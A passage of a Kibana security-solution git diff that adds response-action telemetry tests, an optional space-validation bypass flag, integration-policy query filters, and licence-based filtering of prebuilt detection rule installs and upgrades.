+2137,23 @@ describe('SentinelOneActionsClient class', () => { { meta: true } ); }); + + describe('telemetry events', () => { + it('should send `kill-process` action creation telemetry event', async () => { + await s1ActionsClient.runningProcesses(processesActionRequest); + + expect( + classConstructorOptions.endpointService.getTelemetryService().reportEvent + ).toHaveBeenCalledWith(ENDPOINT_RESPONSE_ACTION_SENT_EVENT.eventType, { + responseActions: { + actionId: expect.any(String), + agentType: 'sentinel_one', + command: 'running-processes', + isAutomated: false, + }, + }); + }); + }); }); describe('and space awareness is enabled', () => { diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/utils/fetch_action_request_by_id.test.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/utils/fetch_action_request_by_id.test.ts index 240ce9a617176..e0edbc20652be 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/utils/fetch_action_request_by_id.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/utils/fetch_action_request_by_id.test.ts @@ -25,6 +25,10 @@ describe('fetchActionRequestById() utility', () => { }); it('should search the actions index with expected query', async () => { + ( + endpointServiceMock.getInternalFleetServices().ensureInCurrentSpace as jest.Mock + ).mockResolvedValue(undefined); + await fetchActionRequestById(endpointServiceMock, 'default', '123'); }); @@ -41,6 +45,9 @@ describe('fetchActionRequestById() utility', () => { }); it('should not validate space access to the action when feature is disabled', async () => { + // @ts-expect-error + endpointServiceMock.experimentalFeatures.endpointManagementSpaceAwarenessEnabled = false; + await fetchActionRequestById(endpointServiceMock, 'default', '123'); expect( @@ -117,5 +124,18 @@ describe('fetchActionRequestById() utility', () => { 'Action [123] not found' ); }); + + it('should not validate action against spaces if `bypassSpaceValidation` is true', async () => { + ( + endpointServiceMock.getInternalFleetServices().ensureInCurrentSpace as jest.Mock + ).mockResolvedValue(undefined); + await fetchActionRequestById(endpointServiceMock, 'default', '123', { + bypassSpaceValidation: true, + }); + + expect( + endpointServiceMock.getInternalFleetServices().ensureInCurrentSpace as jest.Mock + ).not.toHaveBeenCalled(); + }); }); }); diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/utils/fetch_action_request_by_id.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/utils/fetch_action_request_by_id.ts index 36cc28e4a6e0e..89a90cbf99a9b 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/utils/fetch_action_request_by_id.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/utils/fetch_action_request_by_id.ts @@ -25,7 +25,6 @@ import { REF_DATA_KEYS } from '../../../lib/reference_data'; * @param endpointService * @param spaceId * @param actionId - * * @throws */ export const fetchActionRequestById = async < @@ -35,7 +34,16 @@ export const fetchActionRequestById = async < >( endpointService: EndpointAppContextService, spaceId: string, - actionId: string + actionId: string, + { + bypassSpaceValidation = false, + }: Partial<{ + /** + * if `true`, then no space validations will be done on the action retrieved. Default is `false`. + * USE IT CAREFULLY! + */ + bypassSpaceValidation: boolean; + }> = {} ): Promise> => { const logger = endpointService.createLogger('fetchActionRequestById'); const searchResponse = await endpointService @@ -54,7 +62,10 @@ export const fetchActionRequestById = async < if (!actionRequest) { throw new NotFoundError(`Action with id '${actionId}' not found.`); - } else if (endpointService.experimentalFeatures.endpointManagementSpaceAwarenessEnabled) { + } else if ( + endpointService.experimentalFeatures.endpointManagementSpaceAwarenessEnabled && + !bypassSpaceValidation + ) { if (!actionRequest.agent.policy || actionRequest.agent.policy.length === 0) { const message = `Response action [${actionId}] missing 'agent.policy' information - unable to determine if response action is accessible for space [${spaceId}]`; diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/utils/fetch_action_requests.test.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/utils/fetch_action_requests.test.ts index da46d2d26f0fd..32b679e71fcac 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/utils/fetch_action_requests.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/actions/utils/fetch_action_requests.test.ts @@ -7,6 +7,7 @@ import type { FetchActionRequestsOptions } from './fetch_action_requests'; import type { ElasticsearchClientMock } from '@kbn/core-elasticsearch-client-server-mocks'; +import { PACKAGE_POLICY_SAVED_OBJECT_TYPE } from '@kbn/fleet-plugin/common'; import { applyActionListEsSearchMock } from '../mocks'; import { fetchActionRequests } from './fetch_action_requests'; import { ENDPOINT_ACTIONS_INDEX } from '../../../../../common/endpoint/constants'; @@ -46,9 +47,10 @@ describe('fetchActionRequests()', () => { must: [ { bool: { - filter: [], + filter: { terms: { 'agent.policy.integrationPolicyId': ['111', '222'] } }, }, }, + { bool: { filter: [] } }, ], }, }, @@ -73,9 +75,10 @@ describe('fetchActionRequests()', () => { must: [ { bool: { - filter: [], + filter: { terms: { 'agent.policy.integrationPolicyId': ['111', '222'] } }, }, }, + { bool: { filter: [] } }, ], }, }, @@ -99,6 +102,11 @@ describe('fetchActionRequests()', () => { query: { bool: { must: [ + { + bool: { + filter: { terms: { 'agent.policy.integrationPolicyId': ['111', '222'] } }, + }, + }, { bool: { filter: [{ terms: { 'data.command': ['isolate', 'upload'] } }], @@ -124,7 +132,14 @@ describe('fetchActionRequests()', () => { index: ENDPOINT_ACTIONS_INDEX, query: { bool: { - must: [{ bool: { filter: [{ terms: { input_type: ['crowdstrike'] } }] } }], + must: [ + { + bool: { + filter: { terms: { 'agent.policy.integrationPolicyId': ['111', '222'] } }, + }, + }, + { bool: { filter: [{ terms: { input_type: ['crowdstrike'] } }] } }, + ], }, }, from: 0, @@ -144,7 +159,14 @@ describe('fetchActionRequests()', () => { index: ENDPOINT_ACTIONS_INDEX, query: { bool: { - must: [{ bool: { filter: [{ terms: { agents: ['agent-1', 'agent-2'] } }] } }], + must: [ + { + bool: { + filter: { terms: { 'agent.policy.integrationPolicyId': ['111', '222'] } }, + }, + }, + { bool: { filter: [{ terms: { agents: ['agent-1', 'agent-2'] } }] } }, + ], }, }, from: 0, @@ -164,7 +186,14 @@ describe('fetchActionRequests()', () => { index: ENDPOINT_ACTIONS_INDEX, query: { bool: { - must: [{ bool: { filter: [{ range: { expiration: { gte: 'now' } } }] } }], + must: [ + { + bool: { + filter: { terms: { 'agent.policy.integrationPolicyId': ['111', '222'] } }, + }, + }, + { bool: { filter: [{ range: { expiration: { gte: 'now' } } }] } }, + ], }, }, from: 0, @@ -185,6 +214,11 @@ describe('fetchActionRequests()', () => { query: { bool: { must: [ + { + bool: { + filter: { terms: { 'agent.policy.integrationPolicyId': ['111', '222'] } }, + }, + }, { bool: { filter: [{ range: { '@timestamp': { gte: fetchOptions.startDate } } }] } }, ], }, @@ -207,6 +241,11 @@ describe('fetchActionRequests()', () => { query: { bool: { must: [ + { + bool: { + filter: { terms: { 'agent.policy.integrationPolicyId': ['111', '222'] } }, + }, + }, { bool: { filter: [{ range: { '@timestamp': { lte: fetchOptions.endDate } } }] } }, ], }, @@ -229,6 +268,11 @@ describe('fetchActionRequests()', () => { query: { bool: { must: [ + { + bool: { + filter: { terms: { 'agent.policy.integrationPolicyId': ['111', '222'] } }, + }, + }, { bool: { filter: [] } }, { bool: { @@ -263,7 +307,14 @@ describe('fetchActionRequests()', () => { index: ENDPOINT_ACTIONS_INDEX, query: { bool: { - must: [{ bool: { filter: [] } }], + must: [ + { + bool: { + filter: { terms: { 'agent.policy.integrationPolicyId': ['111', '222'] } }, + }, + }, + { bool: { filter: [] } }, + ], must_not: { exists: { field: 'data.alert_id' } }, }, }, @@ -284,7 +335,14 @@ describe('fetchActionRequests()', () => { index: ENDPOINT_ACTIONS_INDEX, query: { bool: { - must: [{ bool: { filter: [] } }], + must: [ + { + bool: { + filter: { terms: { 'agent.policy.integrationPolicyId': ['111', '222'] } }, + }, + }, + { bool: { filter: [] } }, + ], must_not: { exists: { field: 'data.alert_id' } }, }, }, @@ -314,6 +372,11 @@ describe('fetchActionRequests()', () => { bool: { filter: { exists: { field: 'data.alert_id' } }, must: [ + { + bool: { + filter: { terms: { 'agent.policy.integrationPolicyId': ['111', '222'] } }, + }, + }, { bool: { filter: [ @@ -356,8 +419,7 @@ describe('fetchActionRequests()', () => { expect( fetchOptions.endpointService.getInternalFleetServices().packagePolicy.fetchAllItemIds ).toHaveBeenCalledWith(expect.anything(), { - kuery: - 'ingest-package-policies.package.name: (endpoint OR sentinel_one OR crowdstrike OR microsoft_defender_endpoint OR m365_defender)', + kuery: `${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.package.name: (endpoint OR sentinel_one OR crowdstrike OR microsoft_defender_endpoint OR m365_defender)`, }); }); diff --git a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/fleet/endpoint_fleet_services_factory.test.ts b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/fleet/endpoint_fleet_services_factory.test.ts index b4abc094faf34..d6072c04e4d09 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/fleet/endpoint_fleet_services_factory.test.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/endpoint/services/fleet/endpoint_fleet_services_factory.test.ts @@ -12,7 +12,11 @@ import type { import { createEndpointFleetServicesFactoryMock } from './endpoint_fleet_services_factory.mocks'; import { AgentNotFoundError } from '@kbn/fleet-plugin/server'; import { NotFoundError } from '../../errors'; -import type { AgentPolicy, PackagePolicy } from '@kbn/fleet-plugin/common'; +import { + type AgentPolicy, + type PackagePolicy, + PACKAGE_POLICY_SAVED_OBJECT_TYPE, +} from '@kbn/fleet-plugin/common'; import { FleetAgentPolicyGenerator } from '../../../../common/endpoint/data_generators/fleet_agent_policy_generator'; import { FleetPackagePolicyGenerator } from '../../../../common/endpoint/data_generators/fleet_package_policy_generator'; import { FleetAgentGenerator } from '../../../../common/endpoint/data_generators/fleet_agent_generator'; @@ -369,7 +373,7 @@ describe('EndpointServiceFactory', () => { fleetServicesFactoryMock.dependencies.fleetDependencies.packagePolicyService.list ).toHaveBeenCalledWith(expect.anything(), { perPage: 10_000, - kuery: 'ingest-package-policies.package.name: (packageOne OR packageTwo)', + kuery: `${PACKAGE_POLICY_SAVED_OBJECT_TYPE}.package.name: (packageOne OR packageTwo)`, }); }); diff --git a/x-pack/solutions/security/plugins/security_solution/server/integration_tests/lib/telemetry_helpers.ts b/x-pack/solutions/security/plugins/security_solution/server/integration_tests/lib/telemetry_helpers.ts index a8af8d52190ea..dbf56951fb175 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/integration_tests/lib/telemetry_helpers.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/integration_tests/lib/telemetry_helpers.ts @@ -24,7 +24,7 @@ import { deleteExceptionList, deleteExceptionListItem, } from '@kbn/lists-plugin/server/services/exception_lists'; -import { LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE } from '@kbn/fleet-plugin/common/constants'; +import { getAgentPolicySavedObjectType } from '@kbn/fleet-plugin/server/services/agent_policy'; import type { TaskManagerStartContract } from '@kbn/task-manager-plugin/server'; import { packagePolicyService } from '@kbn/fleet-plugin/server/services'; @@ -287,9 +287,10 @@ export async function createAgentPolicy( ], }; - await soClient.get(LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE, id).catch(async (e) => { + const agentPolicyType = await getAgentPolicySavedObjectType(); + await soClient.get(agentPolicyType, id).catch(async (e) => { try { - return await soClient.create(LEGACY_AGENT_POLICY_SAVED_OBJECT_TYPE, {}, { id }); + return await soClient.create(agentPolicyType, {}, { id }); } catch { logger.error(`>> Error searching for agent: ${e}`); throw Error(`>> Error searching for agent: ${e}`); diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/api/get_prebuilt_rules_status/get_prebuilt_rules_status_route.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/api/get_prebuilt_rules_status/get_prebuilt_rules_status_route.ts index adccc7ea6488d..e1fa7d9dc13c9 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/api/get_prebuilt_rules_status/get_prebuilt_rules_status_route.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/api/get_prebuilt_rules_status/get_prebuilt_rules_status_route.ts @@ -12,6 +12,7 @@ import type { SecuritySolutionPluginRouter } from '../../../../../types'; import { buildSiemResponse } from '../../../routes/utils'; import { createPrebuiltRuleAssetsClient } from '../../logic/rule_assets/prebuilt_rule_assets_client'; import { createPrebuiltRuleObjectsClient } from '../../logic/rule_objects/prebuilt_rule_objects_client'; +import { excludeLicenseRestrictedRules, getPossibleUpgrades } from '../../logic/utils'; export const getPrebuiltRulesStatusRoute = (router: SecuritySolutionPluginRouter) => { router.versioned @@ -33,11 +34,12 @@ export const getPrebuiltRulesStatusRoute = (router: SecuritySolutionPluginRouter const siemResponse = buildSiemResponse(response); try { - const ctx = await context.resolve(['core', 'alerting']); + const ctx = await context.resolve(['core', 'alerting', 'securitySolution']); const soClient = ctx.core.savedObjects.client; const rulesClient = await ctx.alerting.getRulesClient(); const ruleAssetsClient = createPrebuiltRuleAssetsClient(soClient); const ruleObjectsClient = createPrebuiltRuleObjectsClient(rulesClient); + const mlAuthz = ctx.securitySolution.getMlAuthz(); const currentRuleVersions = await ruleObjectsClient.fetchInstalledRuleVersions(); const latestRuleVersions = await ruleAssetsClient.fetchLatestVersions(); @@ -47,24 +49,39 @@ export const getPrebuiltRulesStatusRoute = (router: SecuritySolutionPluginRouter const latestRuleVersionsMap = new Map( latestRuleVersions.map((rule) => [rule.rule_id, rule]) ); - const installableRules = latestRuleVersions.filter( + const allInstallableRules = latestRuleVersions.filter( (rule) => !currentRuleVersionsMap.has(rule.rule_id) ); - const upgradeableRules = currentRuleVersions.filter((rule) => { - const latestVersion = latestRuleVersionsMap.get(rule.rule_id); - return latestVersion != null && rule.version < latestVersion.version; - }); + + const installableRuleAssets = await excludeLicenseRestrictedRules( + allInstallableRules, + mlAuthz + ); + + const upgradableRules = await getPossibleUpgrades( + currentRuleVersions, + latestRuleVersionsMap, + mlAuthz + ); + + const upgradeableRulesTags = upgradableRules.reduce((tags, rule) => { + const ruleTags = currentRuleVersionsMap.get(rule.rule_id)?.tags; + if (ruleTags) { + tags.push(...ruleTags); + } + return tags; + }, []); const body: GetPrebuiltRulesStatusResponseBody = { stats: { num_prebuilt_rules_installed: currentRuleVersions.length, - num_prebuilt_rules_to_install: installableRules.length, - num_prebuilt_rules_to_upgrade: upgradeableRules.length, + num_prebuilt_rules_to_install: installableRuleAssets.length, + num_prebuilt_rules_to_upgrade: upgradableRules.length, num_prebuilt_rules_total_in_package: latestRuleVersions.length, }, aggregated_fields: { upgradeable_rules: { - tags: [...new Set(upgradeableRules.flatMap((rule) => rule.tags))], + tags: [...new Set(upgradeableRulesTags)], }, }, }; diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/api/perform_rule_installation/perform_rule_installation_handler.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/api/perform_rule_installation/perform_rule_installation_handler.ts index 39baaad17c002..01273640c38c6 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/api/perform_rule_installation/perform_rule_installation_handler.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/api/perform_rule_installation/perform_rule_installation_handler.ts @@ -22,6 +22,7 @@ import { createPrebuiltRules } from '../../logic/rule_objects/create_prebuilt_ru import { createPrebuiltRuleObjectsClient } from '../../logic/rule_objects/prebuilt_rule_objects_client'; import { performTimelinesInstallation } from '../../logic/perform_timelines_installation'; import type { RuleSignatureId, RuleVersion } from '../../../../../../common/api/detection_engine'; +import { excludeLicenseRestrictedRules } from '../../logic/utils'; export const performRuleInstallationHandler = async ( context: SecuritySolutionRequestHandlerContext, @@ -38,6 +39,7 @@ export const performRuleInstallationHandler = async ( const ruleAssetsClient = createPrebuiltRuleAssetsClient(soClient); const ruleObjectsClient = createPrebuiltRuleObjectsClient(rulesClient); const exceptionsListClient = ctx.securitySolution.getExceptionListClient(); + const mlAuthz = ctx.securitySolution.getMlAuthz(); const { mode } = request.body; @@ -54,10 +56,9 @@ export const performRuleInstallationHandler = async ( currentRuleVersions.map((version) => [version.rule_id, version]) ); - const allInstallableRules = allLatestVersions.filter((latestVersion) => { - const currentVersion = currentRuleVersionsMap.get(latestVersion.rule_id); - return !currentVersion; - }); + const allInstallableRules = allLatestVersions.filter( + (latestVersion) => !currentRuleVersionsMap.has(latestVersion.rule_id) + ); const ruleInstallQueue: Array<{ rule_id: RuleSignatureId; @@ -94,7 +95,7 @@ export const performRuleInstallationHandler = async ( ruleInstallQueue.push(rule); }); } else if (mode === 'ALL_RULES') { - ruleInstallQueue.push(...allInstallableRules); + ruleInstallQueue.push(...(await excludeLicenseRestrictedRules(allInstallableRules, mlAuthz))); } const BATCH_SIZE = 100; diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/api/perform_rule_upgrade/perform_rule_upgrade_handler.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/api/perform_rule_upgrade/perform_rule_upgrade_handler.ts index 3a9a88870f8f2..bf62755544820 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/api/perform_rule_upgrade/perform_rule_upgrade_handler.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/api/perform_rule_upgrade/perform_rule_upgrade_handler.ts @@ -41,6 +41,7 @@ import { zipRuleVersions } from '../../logic/rule_versions/zip_rule_versions'; import type { RuleVersions } from '../../logic/diff/calculate_rule_diff'; import { calculateRuleDiff } from '../../logic/diff/calculate_rule_diff'; import type { RuleTriad } from '../../model/rule_groups/get_rule_groups'; +import { getPossibleUpgrades } from '../../logic/utils'; export const performRuleUpgradeHandler = async ( context: SecuritySolutionRequestHandlerContext, @@ -56,6 +57,7 @@ export const performRuleUpgradeHandler = async ( const detectionRulesClient = ctx.securitySolution.getDetectionRulesClient(); const ruleAssetsClient = createPrebuiltRuleAssetsClient(soClient); const ruleObjectsClient = createPrebuiltRuleObjectsClient(rulesClient); + const mlAuthz = ctx.securitySolution.getMlAuthz(); const { isRulesCustomizationEnabled } = detectionRulesClient.getRuleCustomizationStatus(); const defaultPickVersion = isRulesCustomizationEnabled @@ -92,15 +94,13 @@ export const performRuleUpgradeHandler = async ( filter, }); - allCurrentVersions.forEach((current) => { - const latest = latestVersionsMap.get(current.rule_id); - if (latest && latest.version > current.version) { - ruleUpgradeQueue.push({ - rule_id: current.rule_id, - version: latest.version, - }); - } - }); + const upgradableRules = await getPossibleUpgrades( + allCurrentVersions, + latestVersionsMap, + mlAuthz + ); + + ruleUpgradeQueue.push(...upgradableRules); } else if (mode === ModeEnum.SPECIFIC_RULES) { ruleUpgradeQueue.push(...request.body.rules); } diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/api/review_rule_installation/review_rule_installation_handler.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/api/review_rule_installation/review_rule_installation_handler.ts index 0bf1ee5cfc80a..ea9c0e3fc65a3 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/api/review_rule_installation/review_rule_installation_handler.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/api/review_rule_installation/review_rule_installation_handler.ts @@ -17,6 +17,7 @@ import { convertPrebuiltRuleAssetToRuleResponse } from '../../../rule_management import { createPrebuiltRuleAssetsClient } from '../../logic/rule_assets/prebuilt_rule_assets_client'; import { createPrebuiltRuleObjectsClient } from '../../logic/rule_objects/prebuilt_rule_objects_client'; import type { PrebuiltRuleAsset } from '../../model/rule_assets/prebuilt_rule_asset'; +import { excludeLicenseRestrictedRules } from '../../logic/utils'; export const reviewRuleInstallationHandler = async ( context: SecuritySolutionRequestHandlerContext, @@ -26,11 +27,12 @@ export const reviewRuleInstallationHandler = async ( const siemResponse = buildSiemResponse(response); try { - const ctx = await context.resolve(['core', 'alerting']); + const ctx = await context.resolve(['core', 'alerting', 'securitySolution']); const soClient = ctx.core.savedObjects.client; const rulesClient = await ctx.alerting.getRulesClient(); const ruleAssetsClient = createPrebuiltRuleAssetsClient(soClient); const ruleObjectsClient = createPrebuiltRuleObjectsClient(rulesClient); + const mlAuthz = ctx.securitySolution.getMlAuthz(); const allLatestVersions = await ruleAssetsClient.fetchLatestVersions(); const currentRuleVersions = await ruleObjectsClient.fetchInstalledRuleVersions(); @@ -38,11 +40,15 @@ export const reviewRuleInstallationHandler = async ( currentRuleVersions.map((version) => [version.rule_id, version]) ); - const installableRules = allLatestVersions.filter((latestVersion) => { - const currentVersion = currentRuleVersionsMap.get(latestVersion.rule_id); - return !currentVersion; - }); - const installableRuleAssets = await ruleAssetsClient.fetchAssetsByVersion(installableRules); + const allInstallableRules = allLatestVersions.filter( + (latestVersion) => !currentRuleVersionsMap.has(latestVersion.rule_id) + ); + + const nonInstalledRuleAssets = await ruleAssetsClient.fetchAssetsByVersion(allInstallableRules); + const installableRuleAssets = await excludeLicenseRestrictedRules( + nonInstalledRuleAssets, + mlAuthz + ); const body: ReviewRuleInstallationResponseBody = { stats: calculateRuleStats(installableRuleAssets), diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/api/review_rule_upgrade/review_rule_upgrade_handler.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/api/review_rule_upgrade/review_rule_upgrade_handler.ts index 05a52dbf0ed41..46f3df1a4ee5b 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/api/review_rule_upgrade/review_rule_upgrade_handler.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/api/review_rule_upgrade/review_rule_upgrade_handler.ts @@ -20,9 +20,11 @@ import type { IPrebuiltRuleAssetsClient } from '../../logic/rule_assets/prebuilt import { createPrebuiltRuleAssetsClient } from '../../logic/rule_assets/prebuilt_rule_assets_client'; import type { IPrebuiltRuleObjectsClient } from '../../logic/rule_objects/prebuilt_rule_objects_client'; import { createPrebuiltRuleObjectsClient } from '../../logic/rule_objects/prebuilt_rule_objects_client'; -import type { RuleVersionSpecifier } from '../../logic/rule_versions/rule_version_specifier'; +import { type RuleVersionSpecifier } from '../../logic/rule_versions/rule_version_specifier'; import { zipRuleVersions } from '../../logic/rule_versions/zip_rule_versions'; import { calculateRuleUpgradeInfo } from './calculate_rule_upgrade_info'; +import type { MlAuthz } from '../../../../machine_learning/authz'; +import { getPossibleUpgrades } from '../../logic/utils'; const DEFAULT_SORT: ReviewRuleUpgradeSort = { field: 'name', @@ -38,15 +40,17 @@ export const reviewRuleUpgradeHandler = async ( const { page = 1, per_page: perPage = 20, sort = DEFAULT_SORT, filter } = request.body ?? {}; try { - const ctx = await context.resolve(['core', 'alerting']); + const ctx = await context.resolve(['core', 'alerting', 'securitySolution']); const soClient = ctx.core.savedObjects.client; const rulesClient = await ctx.alerting.getRulesClient(); const ruleAssetsClient = createPrebuiltRuleAssetsClient(soClient); const ruleObjectsClient = createPrebuiltRuleObjectsClient(rulesClient); + const mlAuthz = ctx.securitySolution.getMlAuthz(); const { diffResults, totalUpgradeableRules } = await calculateUpgradeableRulesDiff({ ruleAssetsClient, ruleObjectsClient, + mlAuthz, page, perPage, sort, @@ -79,6 +83,7 @@ export const reviewRuleUpgradeHandler = async ( interface CalculateUpgradeableRulesDiffArgs { ruleAssetsClient: IPrebuiltRuleAssetsClient; ruleObjectsClient: IPrebuiltRuleObjectsClient; + mlAuthz: MlAuthz; page: number; perPage: number; sort: ReviewRuleUpgradeSort; @@ -88,6 +93,7 @@ interface CalculateUpgradeableRulesDiffArgs { async function calculateUpgradeableRulesDiff({ ruleAssetsClient, ruleObjectsClient, + mlAuthz, page, perPage, sort, @@ -107,15 +113,19 @@ async function calculateUpgradeableRulesDiff({ sortField: sort.field, sortOrder: sort.order, }); - const upgradeableRuleIds = currentRuleVersions - .filter((rule) => { - const targetVersion = latestVersionsMap.get(rule.rule_id); - return targetVersion != null && rule.version < targetVersion.version; - }) + + const upgradeableRules = await getPossibleUpgrades( + currentRuleVersions, + latestVersionsMap, + mlAuthz + ); + + const totalUpgradeableRules = upgradeableRules.length; + + const pagedRuleIds = upgradeableRules + .slice((page - 1) * perPage, page * perPage) .map((rule) => rule.rule_id); - const totalUpgradeableRules = upgradeableRuleIds.length; - const pagedRuleIds = upgradeableRuleIds.slice((page - 1) * perPage, page * perPage); const currentRules = await ruleObjectsClient.fetchInstalledRulesByIds({ ruleIds: pagedRuleIds, sortField: sort.field, diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/logic/basic_rule_info.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/logic/basic_rule_info.ts new file mode 100644 index 0000000000000..b82736f117655 --- /dev/null +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/logic/basic_rule_info.ts @@ -0,0 +1,13 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0; you may not use this file except in compliance with the Elastic License + * 2.0. + */ + +import type { Type } from '@kbn/securitysolution-io-ts-alerting-types'; +import type { RuleVersionSpecifier } from './rule_versions/rule_version_specifier'; + +export interface BasicRuleInfo extends RuleVersionSpecifier { + type: Type; +} diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/logic/rule_assets/prebuilt_rule_assets_client.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/logic/rule_assets/prebuilt_rule_assets_client.ts index b5c1199a48dee..2e2e25ba72d13 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/logic/rule_assets/prebuilt_rule_assets_client.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/logic/rule_assets/prebuilt_rule_assets_client.ts @@ -18,6 +18,7 @@ import type { PrebuiltRuleAsset } from '../../model/rule_assets/prebuilt_rule_as import { validatePrebuiltRuleAssets } from './prebuilt_rule_assets_validation'; import { PREBUILT_RULE_ASSETS_SO_TYPE } from './prebuilt_rule_assets_type'; import type { RuleVersionSpecifier } from '../rule_versions/rule_version_specifier'; +import type { BasicRuleInfo } from '../basic_rule_info'; const RULE_ASSET_ATTRIBUTES = `${PREBUILT_RULE_ASSETS_SO_TYPE}.attributes`; const MAX_PREBUILT_RULES_COUNT = 10_000; @@ -27,7 +28,7 @@ const ES_MAX_CONCURRENT_REQUESTS = 2; export interface IPrebuiltRuleAssetsClient { fetchLatestAssets: () => Promise; - fetchLatestVersions(ruleIds?: string[]): Promise; + fetchLatestVersions(ruleIds?: string[]): Promise; fetchAssetsByVersion(versions: RuleVersionSpecifier[]): Promise; } @@ -79,7 +80,7 @@ export const createPrebuiltRuleAssetsClient = ( }); }, - fetchLatestVersions: (ruleIds?: string[]): Promise => { + fetchLatestVersions: (ruleIds?: string[]): Promise => { return withSecuritySpan('IPrebuiltRuleAssetsClient.fetchLatestVersions', async () => { if (ruleIds && ruleIds.length === 0) { return []; @@ -114,6 +115,7 @@ export const createPrebuiltRuleAssetsClient = ( _source: [ `${PREBUILT_RULE_ASSETS_SO_TYPE}.rule_id`, `${PREBUILT_RULE_ASSETS_SO_TYPE}.version`, + `${PREBUILT_RULE_ASSETS_SO_TYPE}.type`, ], }, }, @@ -141,9 +143,10 @@ export const createPrebuiltRuleAssetsClient = ( const latestVersions = buckets.map((bucket) => { const hit = bucket.latest_version.hits.hits[0]; const soAttributes = hit._source[PREBUILT_RULE_ASSETS_SO_TYPE]; - const versionInfo: RuleVersionSpecifier = { + const versionInfo: BasicRuleInfo = { rule_id: soAttributes.rule_id, version: soAttributes.version, + type: soAttributes.type, }; return versionInfo; }); diff --git a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/logic/rule_objects/prebuilt_rule_objects_client.ts b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/logic/rule_objects/prebuilt_rule_objects_client.ts index 729f8ce2dcc2b..5bce3d8ee59cb 100644 --- a/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/logic/rule_objects/prebuilt_rule_objects_client.ts +++ b/x-pack/solutions/security/plugins/security_solution/server/lib/detection_engine/prebuilt_rules/logic/rule_objects/prebuilt_rule_objects_client.ts @@ -11,6 +11,7 @@ import type { RuleResponse, RuleSignatureId, RuleTagArray, + RuleVersion, } from '../../../../../../common/api/detection_engine/model/rule_schema'; import { withSecuritySpan } from '../../../../../utils/with_security_span'; import { findRules } from '../../../rule_management/logic/search/find_rules'; @@ -22,7 +23,6 @@ import type { SortOrder, } from '../../../../../../common/api/detection_engine'; import { MAX_PREBUILT_RULES_COUNT } from '../../../rule_management/logic/search/get_existing_prepackaged_rules'; -import type { RuleVersionSpecifier } from '../rule_versions/rule_version_specifier'; interface FetchAllInstalledRulesArgs { page?: number; @@ -50,10 +50,12 @@ interface FetchInstalledRulesByIdsArgs { sortOrder?: SortOrder; } -type RuleSummary = RuleVersionSpecifier & { +interface RuleSummary { id: RuleObjectId; + rule_id: RuleSignatureId; + version: RuleVersion; tags: RuleTagArray; -}; +} export interface IPrebuiltRuleObjectsClient { fetchInstalledRulesByIds(args: FetchInstalledRulesByIdsArgs): Promise; diff --git 